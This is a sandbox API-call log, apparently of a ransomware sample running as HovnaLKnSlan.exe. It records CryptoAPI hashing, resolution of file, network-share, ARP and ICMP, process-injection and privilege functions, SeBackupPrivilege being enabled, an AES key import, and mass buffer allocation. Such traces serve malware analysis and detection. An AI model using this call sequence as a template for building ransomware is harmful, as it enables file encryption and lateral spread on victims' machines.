	[0227.026] CryptGetHashParam (in: hHash=0x2ce7b0, dwParam=0x2, pbData=0x1738d0, pdwDataLen=0x1738a0, dwFlags=0x0 | out: pbData=0x1738d0, pdwDataLen=0x1738a0) returned 1
	[0227.026] CryptReleaseContext (hProv=0x2cd790, dwFlags=0x0) returned 1
	[0227.027] CryptDestroyHash (hHash=0x2ce7b0) returned 0
	[0227.027] LoadLibraryA (lpLibFileName="Advapi32.dll") returned 0x7fefddc0000
	[0227.027] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptAcquireContextA") returned 0x7fefddc8180
	[0227.027] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptCreateHash") returned 0x7fefddcdad4
	[0227.027] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptHashData") returned 0x7fefddcdac0
	[0227.027] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptGetHashParam") returned 0x7fefddcdb20
	[0227.027] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptDestroyHash") returned 0x7fefddcdb00
	[0227.027] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptReleaseContext") returned 0x7fefddcdd10
	[0227.027] CryptAcquireContextA (in: phProv=0x1738a8, szContainer=0x0, szProvider="Microsoft Base Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1738a8*=0x2cd790) returned 1
	[0227.029] CryptCreateHash (in: hProv=0x2cd790, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x1738b0 | out: phHash=0x1738b0) returned 1
	[0227.029] CryptHashData (hHash=0x2ce820, pbData=0x173980, dwDataLen=0x3, dwFlags=0x0) returned 1
	[0227.029] CryptGetHashParam (in: hHash=0x2ce820, dwParam=0x2, pbData=0x1738d0, pdwDataLen=0x1738a0, dwFlags=0x0 | out: pbData=0x1738d0, pdwDataLen=0x1738a0) returned 1
	[0227.029] CryptReleaseContext (hProv=0x2cd790, dwFlags=0x0) returned 1
	[0227.029] CryptDestroyHash (hHash=0x2ce820) returned 0
	[0227.029] LoadLibraryA (lpLibFileName="Advapi32.dll") returned 0x7fefddc0000
	[0227.029] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptAcquireContextA") returned 0x7fefddc8180
	[0227.029] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptCreateHash") returned 0x7fefddcdad4
	[0227.030] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptHashData") returned 0x7fefddcdac0
	[0227.030] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptGetHashParam") returned 0x7fefddcdb20
	[0227.030] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptDestroyHash") returned 0x7fefddcdb00
	[0227.030] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptReleaseContext") returned 0x7fefddcdd10
	[0227.030] CryptAcquireContextA (in: phProv=0x1738a8, szContainer=0x0, szProvider="Microsoft Base Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1738a8*=0x2cd790) returned 1
	[0227.031] CryptCreateHash (in: hProv=0x2cd790, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x1738b0 | out: phHash=0x1738b0) returned 1
	[0227.031] CryptHashData (hHash=0x2ce890, pbData=0x173980, dwDataLen=0x3, dwFlags=0x0) returned 1
	[0227.031] CryptGetHashParam (in: hHash=0x2ce890, dwParam=0x2, pbData=0x1738d0, pdwDataLen=0x1738a0, dwFlags=0x0 | out: pbData=0x1738d0, pdwDataLen=0x1738a0) returned 1
	[0227.031] CryptReleaseContext (hProv=0x2cd790, dwFlags=0x0) returned 1
	[0227.032] CryptDestroyHash (hHash=0x2ce890) returned 0
	[0227.032] LoadLibraryA (lpLibFileName="Advapi32.dll") returned 0x7fefddc0000
	[0227.032] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptAcquireContextA") returned 0x7fefddc8180
	[0227.032] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptCreateHash") returned 0x7fefddcdad4
	[0227.032] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptHashData") returned 0x7fefddcdac0
	[0227.032] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptGetHashParam") returned 0x7fefddcdb20
	[0227.032] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptDestroyHash") returned 0x7fefddcdb00
	[0227.032] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptReleaseContext") returned 0x7fefddcdd10
	[0227.032] CryptAcquireContextA (in: phProv=0x1738a8, szContainer=0x0, szProvider="Microsoft Base Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1738a8*=0x2cd790) returned 1
	[0227.033] CryptCreateHash (in: hProv=0x2cd790, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x1738b0 | out: phHash=0x1738b0) returned 1
	[0227.033] CryptHashData (hHash=0x2ce900, pbData=0x173980, dwDataLen=0x4, dwFlags=0x0) returned 1
	[0227.034] CryptGetHashParam (in: hHash=0x2ce900, dwParam=0x2, pbData=0x1738d0, pdwDataLen=0x1738a0, dwFlags=0x0 | out: pbData=0x1738d0, pdwDataLen=0x1738a0) returned 1
	[0227.034] CryptReleaseContext (hProv=0x2cd790, dwFlags=0x0) returned 1
	[0227.034] CryptDestroyHash (hHash=0x2ce900) returned 0
	[0227.034] LoadLibraryA (lpLibFileName="Advapi32.dll") returned 0x7fefddc0000
	[0227.034] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptAcquireContextA") returned 0x7fefddc8180
	[0227.034] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptCreateHash") returned 0x7fefddcdad4
	[0227.034] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptHashData") returned 0x7fefddcdac0
	[0227.034] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptGetHashParam") returned 0x7fefddcdb20
	[0227.034] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptDestroyHash") returned 0x7fefddcdb00
	[0227.034] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptReleaseContext") returned 0x7fefddcdd10
	[0227.034] CryptAcquireContextA (in: phProv=0x1738a8, szContainer=0x0, szProvider="Microsoft Base Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1738a8*=0x2cd790) returned 1
	[0227.035] CryptCreateHash (in: hProv=0x2cd790, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x1738b0 | out: phHash=0x1738b0) returned 1
	[0227.036] CryptHashData (hHash=0x2ce970, pbData=0x173980, dwDataLen=0x1, dwFlags=0x0) returned 1
	[0227.036] CryptGetHashParam (in: hHash=0x2ce970, dwParam=0x2, pbData=0x1738d0, pdwDataLen=0x1738a0, dwFlags=0x0 | out: pbData=0x1738d0, pdwDataLen=0x1738a0) returned 1
	[0227.036] CryptReleaseContext (hProv=0x2cd790, dwFlags=0x0) returned 1
	[0227.036] CryptDestroyHash (hHash=0x2ce970) returned 0
	[0227.036] LoadLibraryA (lpLibFileName="Advapi32.dll") returned 0x7fefddc0000
	[0227.036] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptAcquireContextA") returned 0x7fefddc8180
	[0227.036] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptCreateHash") returned 0x7fefddcdad4
	[0227.036] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptHashData") returned 0x7fefddcdac0
	[0227.036] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptGetHashParam") returned 0x7fefddcdb20
	[0227.036] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptDestroyHash") returned 0x7fefddcdb00
	[0227.036] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptReleaseContext") returned 0x7fefddcdd10
	[0227.036] CryptAcquireContextA (in: phProv=0x1738a8, szContainer=0x0, szProvider="Microsoft Base Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1738a8*=0x2cd790) returned 1
	[0227.038] CryptCreateHash (in: hProv=0x2cd790, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x1738b0 | out: phHash=0x1738b0) returned 1
	[0227.038] CryptHashData (hHash=0x2ce9e0, pbData=0x173980, dwDataLen=0x3, dwFlags=0x0) returned 1
	[0227.038] CryptGetHashParam (in: hHash=0x2ce9e0, dwParam=0x2, pbData=0x1738d0, pdwDataLen=0x1738a0, dwFlags=0x0 | out: pbData=0x1738d0, pdwDataLen=0x1738a0) returned 1
	[0227.038] CryptReleaseContext (hProv=0x2cd790, dwFlags=0x0) returned 1
	[0227.038] CryptDestroyHash (hHash=0x2ce9e0) returned 0
	[0227.038] LoadLibraryA (lpLibFileName="Advapi32.dll") returned 0x7fefddc0000
	[0227.038] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptAcquireContextA") returned 0x7fefddc8180
	[0227.038] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptCreateHash") returned 0x7fefddcdad4
	[0227.038] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptHashData") returned 0x7fefddcdac0
	[0227.038] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptGetHashParam") returned 0x7fefddcdb20
	[0227.039] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptDestroyHash") returned 0x7fefddcdb00
	[0227.039] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptReleaseContext") returned 0x7fefddcdd10
	[0227.039] CryptAcquireContextA (in: phProv=0x1738a8, szContainer=0x0, szProvider="Microsoft Base Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1738a8*=0x2cd790) returned 1
	[0227.040] CryptCreateHash (in: hProv=0x2cd790, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x1738b0 | out: phHash=0x1738b0) returned 1
	[0227.040] CryptHashData (hHash=0x2cea50, pbData=0x173980, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0227.040] CryptGetHashParam (in: hHash=0x2cea50, dwParam=0x2, pbData=0x1738d0, pdwDataLen=0x1738a0, dwFlags=0x0 | out: pbData=0x1738d0, pdwDataLen=0x1738a0) returned 1
	[0227.040] CryptReleaseContext (hProv=0x2cd790, dwFlags=0x0) returned 1
	[0227.040] CryptDestroyHash (hHash=0x2cea50) returned 0
	[0227.041] LoadLibraryA (lpLibFileName="Kernel32.dll") returned 0x76f20000
	[0227.041] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x7fefa660000
	[0227.046] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x7fefddc0000
	[0227.046] LoadLibraryA (lpLibFileName="ole32.dll") returned 0x7fefe130000
	[0227.504] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x7fefe6b0000
	[0227.515] LoadLibraryA (lpLibFileName="Iphlpapi.dll") returned 0x7fefaa30000
	[0227.522] GetProcAddress (hModule=0x76f20000, lpProcName="VirtualFree") returned 0x76f31260
	[0227.522] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptExportKey") returned 0x7fefddc8140
	[0227.522] GetProcAddress (hModule=0x76f20000, lpProcName="DeleteFileW") returned 0x76f2ad90
	[0227.522] GetProcAddress (hModule=0x76f20000, lpProcName="GetLastError") returned 0x76f42dd0
	[0227.522] GetProcAddress (hModule=0x76f20000, lpProcName="GetDriveTypeW") returned 0x76f3bdf0
	[0227.522] GetProcAddress (hModule=0x76f20000, lpProcName="GetCommandLineW") returned 0x76f3c480
	[0227.523] GetProcAddress (hModule=0x76f20000, lpProcName="GetStartupInfoW") returned 0x76f38070
	[0227.523] GetProcAddress (hModule=0x76f20000, lpProcName="FindNextFileW") returned 0x76f31910
	[0227.523] GetProcAddress (hModule=0x76f20000, lpProcName="VirtualAlloc") returned 0x76f367a0
	[0227.523] GetProcAddress (hModule=0x7fefddc0000, lpProcName="GetUserNameA") returned 0x7fefddcdc20
	[0227.523] GetProcAddress (hModule=0x76f20000, lpProcName="ExitProcess") returned 0x771640f0
	[0227.523] GetProcAddress (hModule=0x76f20000, lpProcName="Wow64RevertWow64FsRedirection") returned 0x76f6bb30
	[0227.523] GetProcAddress (hModule=0x76f20000, lpProcName="CreateProcessA") returned 0x76fb8840
	[0227.523] GetProcAddress (hModule=0x7fefaa30000, lpProcName="GetIpNetTable") returned 0x7fefaa3e558
	[0227.524] GetProcAddress (hModule=0x76f20000, lpProcName="GetVersionExW") returned 0x76f2d910
	[0227.524] GetProcAddress (hModule=0x76f20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76f6bb40
	[0227.524] GetProcAddress (hModule=0x76f20000, lpProcName="GetSystemDefaultLangID") returned 0x76f294e0
	[0227.524] GetProcAddress (hModule=0x7fefddc0000, lpProcName="GetUserNameW") returned 0x7fefddd1fd0
	[0227.524] GetProcAddress (hModule=0x76f20000, lpProcName="ReadFile") returned 0x76f31500
	[0227.524] GetProcAddress (hModule=0x7fefddc0000, lpProcName="RegQueryValueExA") returned 0x7fefdddc480
	[0227.524] GetProcAddress (hModule=0x76f20000, lpProcName="CloseHandle") returned 0x76f42f80
	[0227.524] GetProcAddress (hModule=0x7fefddc0000, lpProcName="RegSetValueExW") returned 0x7fefddd1ed0
	[0227.525] GetProcAddress (hModule=0x7fefddc0000, lpProcName="RegCloseKey") returned 0x7fefdde0710
	[0227.525] GetProcAddress (hModule=0x76f20000, lpProcName="CopyFileA") returned 0x76fb5620
	[0227.525] GetProcAddress (hModule=0x76f20000, lpProcName="SetFileAttributesW") returned 0x76f337a0
	[0227.525] GetProcAddress (hModule=0x76f20000, lpProcName="WinExec") returned 0x76fb8d80
	[0227.525] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptDeriveKey") returned 0x7fefddfb6b0
	[0227.525] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptGenKey") returned 0x7fefddc19bc
	[0227.525] GetProcAddress (hModule=0x76f20000, lpProcName="Sleep") returned 0x76f42b70
	[0227.525] GetProcAddress (hModule=0x76f20000, lpProcName="GetCurrentProcess") returned 0x76f35cf0
	[0227.525] GetProcAddress (hModule=0x7fefe6b0000, lpProcName="ShellExecuteW") returned 0x7fefe6c983c
	[0227.526] GetProcAddress (hModule=0x76f20000, lpProcName="GetFileSize") returned 0x76f2f9d0
	[0227.526] GetProcAddress (hModule=0x76f20000, lpProcName="GlobalAlloc") returned 0x76f280c0
	[0227.526] GetProcAddress (hModule=0x76f20000, lpProcName="FindClose") returned 0x76f3bd60
	[0227.526] GetProcAddress (hModule=0x76f20000, lpProcName="WaitForMultipleObjects") returned 0x76f31170
	[0227.527] GetProcAddress (hModule=0x76f20000, lpProcName="GetModuleFileNameA") returned 0x76f364a0
	[0227.527] GetProcAddress (hModule=0x7fefe6b0000, lpProcName="ShellExecuteA") returned 0x7fefe90ec80
	[0227.527] GetProcAddress (hModule=0x76f20000, lpProcName="GetModuleHandleA") returned 0x76f365e0
	[0227.527] GetProcAddress (hModule=0x76f20000, lpProcName="GetModuleFileNameW") returned 0x76f37700
	[0227.527] GetProcAddress (hModule=0x76f20000, lpProcName="CreateFileA") returned 0x76f431f0
	[0227.527] GetProcAddress (hModule=0x76f20000, lpProcName="GetFileSizeEx") returned 0x76f29b30
	[0227.527] GetProcAddress (hModule=0x76f20000, lpProcName="WriteFile") returned 0x76f435a0
	[0227.527] GetProcAddress (hModule=0x76f20000, lpProcName="GetLogicalDrives") returned 0x76f2b930
	[0227.527] GetProcAddress (hModule=0x7fefa660000, lpProcName="WNetEnumResourceA") returned 0x7fefa66bcfc
	[0227.528] GetProcAddress (hModule=0x7fefddc0000, lpProcName="RegOpenKeyExW") returned 0x7fefdde06f0
	[0227.528] GetProcAddress (hModule=0x7fefa660000, lpProcName="WNetCloseEnum") returned 0x7fefa6642dc
	[0227.528] GetProcAddress (hModule=0x76f20000, lpProcName="GetWindowsDirectoryW") returned 0x76f282b0
	[0227.528] GetProcAddress (hModule=0x76f20000, lpProcName="SetFileAttributesA") returned 0x76f22d50
	[0227.528] GetProcAddress (hModule=0x7fefddc0000, lpProcName="RegOpenKeyExA") returned 0x7fefdddb5f0
	[0227.528] GetProcAddress (hModule=0x76f20000, lpProcName="SetFilePointer") returned 0x76f31150
	[0227.528] GetProcAddress (hModule=0x76f20000, lpProcName="GetTickCount") returned 0x76f42b00
	[0227.528] GetProcAddress (hModule=0x76f20000, lpProcName="GetFileAttributesW") returned 0x76f3bdd0
	[0227.528] GetProcAddress (hModule=0x76f20000, lpProcName="FindFirstFileW") returned 0x76f3bd80
	[0227.528] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptAcquireContextW") returned 0x7fefddcd98c
	[0227.529] GetProcAddress (hModule=0x76f20000, lpProcName="MoveFileExW") returned 0x76f23060
	[0227.529] GetProcAddress (hModule=0x7fefa660000, lpProcName="WNetOpenEnumA") returned 0x7fefa66bc68
	[0227.529] GetProcAddress (hModule=0x7fefe130000, lpProcName="CoInitialize") returned 0x7fefe14a51c
	[0227.529] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptDecrypt") returned 0x7fefddfb6d0
	[0227.530] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptImportKey") returned 0x7fefddcaf6c
	[0227.530] GetProcAddress (hModule=0x76f20000, lpProcName="SetFilePointerEx") returned 0x76f2af00
	[0227.530] GetProcAddress (hModule=0x76f20000, lpProcName="CopyFileW") returned 0x76f292d0
	[0227.530] GetProcAddress (hModule=0x76f20000, lpProcName="FreeLibrary") returned 0x76f36620
	[0227.530] GetProcAddress (hModule=0x76f20000, lpProcName="CreateProcessW") returned 0x76f41bb0
	[0227.530] GetProcAddress (hModule=0x76f20000, lpProcName="CreateDirectoryW") returned 0x76f2ad70
	[0227.530] GetProcAddress (hModule=0x76f20000, lpProcName="CreateThread") returned 0x76f36580
	[0227.530] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptDestroyKey") returned 0x7fefddcafa0
	[0227.530] GetProcAddress (hModule=0x7fefe130000, lpProcName="CoCreateInstance") returned 0x7fefe157490
	[0227.530] GetProcAddress (hModule=0x76f20000, lpProcName="CreateFileW") returned 0x76f31870
	[0227.531] GetProcAddress (hModule=0x76f20000, lpProcName="GetFileAttributesA") returned 0x76f313e0
	[0227.531] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptEncrypt") returned 0x7fefddfb650
	[0227.531] GetProcAddress (hModule=0x7fefddc0000, lpProcName="RegDeleteValueW") returned 0x7fefddcbbb0
	[0227.531] GetProcAddress (hModule=0x7fefddc0000, lpProcName="EnumServicesStatusW") returned 0x7fefde0d5f0
	[0227.531] GetProcAddress (hModule=0x7fefddc0000, lpProcName="GetTokenInformation") returned 0x7fefdddbd50
	[0227.531] GetProcAddress (hModule=0x7fefddc0000, lpProcName="ImpersonateSelf") returned 0x7fefddcc180
	[0227.531] GetProcAddress (hModule=0x7fefddc0000, lpProcName="LookupPrivilegeValueW") returned 0x7fefdddb9e0
	[0227.531] GetProcAddress (hModule=0x7fefddc0000, lpProcName="OpenProcessToken") returned 0x7fefdddbd70
	[0227.531] GetProcAddress (hModule=0x7fefddc0000, lpProcName="OpenSCManagerW") returned 0x7fefddcc2a8
	[0227.531] GetProcAddress (hModule=0x7fefddc0000, lpProcName="OpenThreadToken") returned 0x7fefdddbd84
	[0227.532] GetProcAddress (hModule=0x7fefddc0000, lpProcName="AdjustTokenPrivileges") returned 0x7fefdddb9b0
	[0227.532] GetProcAddress (hModule=0x76f20000, lpProcName="VirtualAllocEx") returned 0x76f6bbd0
	[0227.532] GetProcAddress (hModule=0x7fefddc0000, lpProcName="LookupAccountSidW") returned 0x7fefdddb898
	[0227.532] GetProcAddress (hModule=0x7fefe6b0000, lpProcName="CommandLineToArgvW") returned 0x7fefe6d157c
	[0227.532] GetProcAddress (hModule=0x76f20000, lpProcName="WriteProcessMemory") returned 0x76f6bad0
	[0227.532] GetProcAddress (hModule=0x76f20000, lpProcName="VirtualFreeEx") returned 0x76f6bb90
	[0227.532] GetProcAddress (hModule=0x76f20000, lpProcName="CreateRemoteThread") returned 0x76f6c4f0
	[0227.532] GetProcAddress (hModule=0x7fefaa30000, lpProcName="GetAdaptersAddresses") returned 0x7fefaa32ab4
	[0227.532] GetProcAddress (hModule=0x7fefaa30000, lpProcName="IcmpCloseHandle") returned 0x7fefaa37cc0
	[0227.533] GetProcAddress (hModule=0x7fefaa30000, lpProcName="IcmpCreateFile") returned 0x7fefaa38250
	[0227.533] GetProcAddress (hModule=0x7fefaa30000, lpProcName="IcmpSendEcho") returned 0x7fefaa38340
	[0227.533] SetLastError (dwErrCode=0x0) 
	[0227.533] GetCommandLineW () returned="\"C:\\users\\Public\\HovnaLKnSlan.exe\" 8 LAN"
	[0227.533] CommandLineToArgvW (in: lpCmdLine="\"C:\\users\\Public\\HovnaLKnSlan.exe\" 8 LAN", pNumArgs=0x1744f0 | out: pNumArgs=0x1744f0) returned 0x2d8450*="C:\\users\\Public\\HovnaLKnSlan.exe"
	[0227.533] GetLastError () returned 0x0
	[0227.533] Sleep (dwMilliseconds=0x1388) 
	[0232.716] SetLastError (dwErrCode=0x0) 
	[0232.716] GetCurrentThread () returned 0xfffffffffffffffe
	[0232.716] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x28, OpenAsSelf=0, TokenHandle=0x173c00 | out: TokenHandle=0x173c00*=0x38faa52700) returned 0
	[0232.716] GetLastError () returned 0x3f0
	[0232.717] ImpersonateSelf (ImpersonationLevel=0x2) returned 1
	[0232.717] GetCurrentThread () returned 0xfffffffffffffffe
	[0232.718] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x28, OpenAsSelf=0, TokenHandle=0x173c00 | out: TokenHandle=0x173c00*=0x8c) returned 1
	[0232.718] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeBackupPrivilege", lpLuid=0x173b88 | out: lpLuid=0x173b88*(LowPart=0x11, HighPart=0)) returned 1
	[0232.778] AdjustTokenPrivileges (in: TokenHandle=0x8c, DisableAllPrivileges=0, NewState=0x173b50*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x11, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1
	[0232.778] GetLastError () returned 0x0
	[0232.778] GetVersionExW (in: lpVersionInformation=0x173a40*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x173a40*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1
	[0232.778] GetWindowsDirectoryW (in: lpBuffer=0x13ff0dad0, uSize=0x64 | out: lpBuffer="C:\\Windows") returned 0xa
	[0232.778] GetWindowsDirectoryW (in: lpBuffer=0x13ff0dc90, uSize=0x140 | out: lpBuffer="C:\\Windows") returned 0xa
	[0232.778] CryptAcquireContextW (in: phProv=0x13ff0db38, szContainer="AES_unique_", szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x10 | out: phProv=0x13ff0db38*=0x0) returned 0
	[0232.795] CryptAcquireContextW (in: phProv=0x13ff0db38, szContainer="AES_unique_", szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x20 | out: phProv=0x13ff0db38*=0x2da980) returned 1
	[0232.807] CryptImportKey (in: hProv=0x2da980, pbData=0x13fdce310, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x1, phKey=0x13ff0dc80 | out: phKey=0x13ff0dc80*=0x2cef90) returned 1
	[0232.807] Sleep (dwMilliseconds=0x3e8) 
	[0233.842] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb5b28, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd0
	[0233.843] GetTickCount () returned 0x117ddb2
	[0233.843] Sleep (dwMilliseconds=0xc862) 
	[0244.255] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x2120000
	[0244.256] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0xd0000
	[0244.256] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x2220000
	[0244.256] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0xe0000
	[0244.256] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x2400000
	[0244.256] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0xf0000
	[0244.257] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x2500000
	[0244.257] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x100000
	[0244.257] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x2600000
	[0244.257] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x110000
	[0244.257] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x2700000
	[0244.257] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x120000
	[0244.257] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x2800000
	[0244.258] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x230000
	[0244.258] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x2900000
	[0244.258] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x240000
	[0244.258] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x2a00000
	[0244.258] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x250000
	[0244.259] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x2b00000
	[0244.259] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x260000
	[0244.402] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x2c00000
	[0244.402] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x270000
	[0244.402] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x2d00000
	[0244.402] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x280000
	[0244.402] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x2e00000
	[0244.403] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x290000
	[0244.403] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x2f00000
	[0244.403] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2a0000
	[0244.403] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3000000
	[0244.403] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x4b0000
	[0244.404] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3100000
	[0244.404] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x4c0000
	[0244.404] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3200000
	[0244.404] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x4d0000
	[0244.404] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3300000
	[0244.405] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x4e0000
	[0244.405] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3400000
	[0244.405] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x4f0000
	[0244.405] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3500000
	[0244.405] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x500000
	[0244.405] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3600000
